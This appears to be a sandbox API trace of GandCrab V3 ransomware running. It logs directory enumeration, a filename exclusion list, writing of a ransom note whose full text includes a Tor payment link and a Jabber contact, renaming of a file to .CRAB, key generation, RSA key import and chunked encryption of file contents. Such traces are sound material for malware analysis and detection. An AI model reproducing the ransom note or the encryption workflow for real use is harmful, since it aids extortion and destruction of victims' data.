	[0090.513] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.513] lstrcmpW (lpString1="Windows Multimedia Platform", lpString2=".") returned 1
	[0090.513] lstrcmpW (lpString1="Windows Multimedia Platform", lpString2="..") returned 1
	[0090.513] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Windows Multimedia Platform" | out: lpString1="C:\\Program Files (x86)\\Windows Multimedia Platform") returned="C:\\Program Files (x86)\\Windows Multimedia Platform"
	[0090.513] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.513] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1
	[0090.513] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1
	[0090.513] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Windows NT" | out: lpString1="C:\\Program Files (x86)\\Windows NT") returned="C:\\Program Files (x86)\\Windows NT"
	[0090.513] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.513] lstrcmpW (lpString1="Windows Photo Viewer", lpString2=".") returned 1
	[0090.513] lstrcmpW (lpString1="Windows Photo Viewer", lpString2="..") returned 1
	[0090.513] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Windows Photo Viewer" | out: lpString1="C:\\Program Files (x86)\\Windows Photo Viewer") returned="C:\\Program Files (x86)\\Windows Photo Viewer"
	[0090.513] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.513] lstrcmpW (lpString1="Windows Portable Devices", lpString2=".") returned 1
	[0090.513] lstrcmpW (lpString1="Windows Portable Devices", lpString2="..") returned 1
	[0090.513] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Windows Portable Devices" | out: lpString1="C:\\Program Files (x86)\\Windows Portable Devices") returned="C:\\Program Files (x86)\\Windows Portable Devices"
	[0090.513] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.513] lstrcmpW (lpString1="Windows Sidebar", lpString2=".") returned 1
	[0090.513] lstrcmpW (lpString1="Windows Sidebar", lpString2="..") returned 1
	[0090.513] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="Windows Sidebar" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar"
	[0090.513] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.513] lstrcmpW (lpString1="WindowsPowerShell", lpString2=".") returned 1
	[0090.513] lstrcmpW (lpString1="WindowsPowerShell", lpString2="..") returned 1
	[0090.513] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="WindowsPowerShell" | out: lpString1="C:\\Program Files (x86)\\WindowsPowerShell") returned="C:\\Program Files (x86)\\WindowsPowerShell"
	[0090.513] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0
	[0090.513] FindClose (in: hFindFile=0xd48280 | out: hFindFile=0xd48280) returned 1
	[0090.513] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.514] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1
	[0090.514] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1
	[0090.514] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData"
	[0090.514] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0090.514] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.514] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.514] FindNextFileW (in: hFindFile=0xd47e80, lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 1
	[0090.514] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1
	[0090.514] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1
	[0090.514] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery"
	[0090.514] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\"
	[0090.514] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.514] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0090.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0090.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0090.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0090.515] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ea08, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0090.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0090.515] lstrcmpiW (lpString1="C:\\Recovery\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0090.515] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314e1f0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0090.515] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0090.515] lstrcmpiW (lpString1="C:\\Recovery\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0090.515] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.515] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Recovery\\\\CRAB-DECRYPT.txt") returned 29
	[0090.515] CreateFileW (lpFileName="C:\\Recovery\\\\CRAB-DECRYPT.txt" (normalized: "c:\\recovery\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0090.516] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0090.516] WriteFile (in: hFile=0x3d0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314e9ec, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314e9ec*=0xcce, lpOverlapped=0x0) returned 1
	[0090.517] CloseHandle (hObject=0x3d0) returned 1
	[0090.517] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.517] lstrlenW (lpString="C:\\Recovery\\") returned 12
	[0090.517] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*" | out: lpString1="C:\\Recovery\\*") returned="C:\\Recovery\\*"
	[0090.517] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0xd47ec0
	[0090.518] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0090.518] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.518] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0090.518] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0090.518] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.518] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0090.518] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0090.518] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Recovery\\CRAB-DECRYPT.txt") returned="C:\\Recovery\\CRAB-DECRYPT.txt"
	[0090.518] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.518] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Recovery\\CRAB-DECRYPT.txt") returned 28
	[0090.519] lstrlenW (lpString="C:\\Recovery\\CRAB-DECRYPT.txt") returned 28
	[0090.519] lstrlenW (lpString=".txt") returned 4
	[0090.519] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.519] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0090.519] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.519] lstrlenW (lpString="C:\\Recovery\\CRAB-DECRYPT.txt") returned 28
	[0090.519] lstrlenW (lpString="C:\\Recovery\\CRAB-DECRYPT.txt") returned 28
	[0090.519] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0090.519] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0090.519] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0090.519] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0090.519] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0090.519] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0090.519] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0090.519] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0090.519] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0090.519] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.520] FindNextFileW (in: hFindFile=0xd47ec0, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.520] lstrcmpW (lpString1="WindowsRE", lpString2=".") returned 1
	[0090.520] lstrcmpW (lpString1="WindowsRE", lpString2="..") returned 1
	[0090.520] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE"
	[0090.520] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\"
	[0090.520] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0090.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0090.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0090.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0090.520] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314df60, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0090.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0090.520] lstrcmpiW (lpString1="C:\\Recovery\\WindowsRE\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0090.520] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d748, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0090.521] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0090.521] lstrcmpiW (lpString1="C:\\Recovery\\WindowsRE\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0090.521] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.521] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Recovery\\WindowsRE\\\\CRAB-DECRYPT.txt") returned 39
	[0090.521] CreateFileW (lpFileName="C:\\Recovery\\WindowsRE\\\\CRAB-DECRYPT.txt" (normalized: "c:\\recovery\\windowsre\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0
	[0090.521] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0090.521] WriteFile (in: hFile=0x3b0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314df44, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314df44*=0xcce, lpOverlapped=0x0) returned 1
	[0090.522] CloseHandle (hObject=0x3b0) returned 1
	[0090.523] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.523] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\") returned 22
	[0090.523] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="*" | out: lpString1="C:\\Recovery\\WindowsRE\\*") returned="C:\\Recovery\\WindowsRE\\*"
	[0090.523] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*", lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 0xd48280
	[0090.523] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0090.523] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0090.523] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0090.523] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0090.523] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0090.523] lstrcmpW (lpString1="boot.sdi", lpString2=".") returned 1
	[0090.523] lstrcmpW (lpString1="boot.sdi", lpString2="..") returned 1
	[0090.523] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="boot.sdi" | out: lpString1="C:\\Recovery\\WindowsRE\\boot.sdi") returned="C:\\Recovery\\WindowsRE\\boot.sdi"
	[0090.523] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.524] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Recovery\\WindowsRE\\boot.sdi") returned 30
	[0090.524] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\boot.sdi") returned 30
	[0090.524] lstrlenW (lpString=".sdi") returned 4
	[0090.524] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.524] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sdi ") returned 5
	[0090.524] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.524] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\boot.sdi") returned 30
	[0090.524] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\boot.sdi") returned 30
	[0090.524] lstrcmpiW (lpString1="boot.sdi", lpString2="desktop.ini") returned -1
	[0090.524] lstrcmpiW (lpString1="boot.sdi", lpString2="autorun.inf") returned 1
	[0090.524] lstrcmpiW (lpString1="boot.sdi", lpString2="ntuser.dat") returned -1
	[0090.524] lstrcmpiW (lpString1="boot.sdi", lpString2="iconcache.db") returned -1
	[0090.524] lstrcmpiW (lpString1="boot.sdi", lpString2="bootsect.bak") returned -1
	[0090.524] lstrcmpiW (lpString1="boot.sdi", lpString2="boot.ini") returned 1
	[0090.524] lstrcmpiW (lpString1="boot.sdi", lpString2="ntuser.dat.log") returned -1
	[0090.524] lstrcmpiW (lpString1="boot.sdi", lpString2="thumbs.db") returned -1
	[0090.524] lstrcmpiW (lpString1="boot.sdi", lpString2="CRAB-DECRYPT.txt") returned -1
	[0090.525] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.525] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Recovery\\WindowsRE\\boot.sdi.CRAB") returned 35
	[0090.525] GetFileAttributesW (lpFileName="C:\\Recovery\\WindowsRE\\boot.sdi" (normalized: "c:\\recovery\\windowsre\\boot.sdi")) returned 0x2006
	[0090.525] SetFileAttributesW (lpFileName="C:\\Recovery\\WindowsRE\\boot.sdi", dwFileAttributes=0x2006) returned 1
	[0090.526] MoveFileW (lpExistingFileName="C:\\Recovery\\WindowsRE\\boot.sdi" (normalized: "c:\\recovery\\windowsre\\boot.sdi"), lpNewFileName="C:\\Recovery\\WindowsRE\\boot.sdi.CRAB" (normalized: "c:\\recovery\\windowsre\\boot.sdi.crab")) returned 1
	[0090.529] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0090.529] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Recovery\\WindowsRE\\boot.sdi.CRAB" | out: lpString1="C:\\Recovery\\WindowsRE\\boot.sdi.CRAB") returned="C:\\Recovery\\WindowsRE\\boot.sdi.CRAB"
	[0090.529] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\boot.sdi.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Recovery\\WindowsRE\\boot.sdi.CRAB.CRAB") returned="C:\\Recovery\\WindowsRE\\boot.sdi.CRAB.CRAB"
	[0090.529] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6eb78) returned 1
	[0090.530] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0090.530] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0090.531] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0090.531] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314debc | out: pbBuffer=0x314debc) returned 1
	[0090.531] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0090.531] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.531] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6e408) returned 1
	[0090.531] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0090.532] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0090.532] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0090.532] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314de98 | out: pbBuffer=0x314de98) returned 1
	[0090.532] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0090.532] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.532] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0090.532] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0090.533] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e5a0) returned 1
	[0090.533] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0xd47f00) returned 1
	[0090.533] CryptGetKeyParam (in: hKey=0xd47f00, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0090.533] CryptEncrypt (in: hKey=0xd47f00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314decc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314decc*=0x100) returned 1
	[0090.534] GetLastError () returned 0x0
	[0090.534] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0090.534] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e9e0) returned 1
	[0090.535] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0xd47f40) returned 1
	[0090.535] CryptGetKeyParam (in: hKey=0xd47f40, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0090.535] CryptEncrypt (in: hKey=0xd47f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314ded0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314ded0*=0x100) returned 1
	[0090.535] GetLastError () returned 0x0
	[0090.535] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0090.535] CreateFileW (lpFileName="C:\\Recovery\\WindowsRE\\boot.sdi.CRAB" (normalized: "c:\\recovery\\windowsre\\boot.sdi.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0090.536] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0090.536] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0090.536] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0090.571] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0090.589] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0090.607] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.610] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.610] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0090.612] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.616] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0090.631] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0090.647] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0091.035] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.039] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.039] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0091.041] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
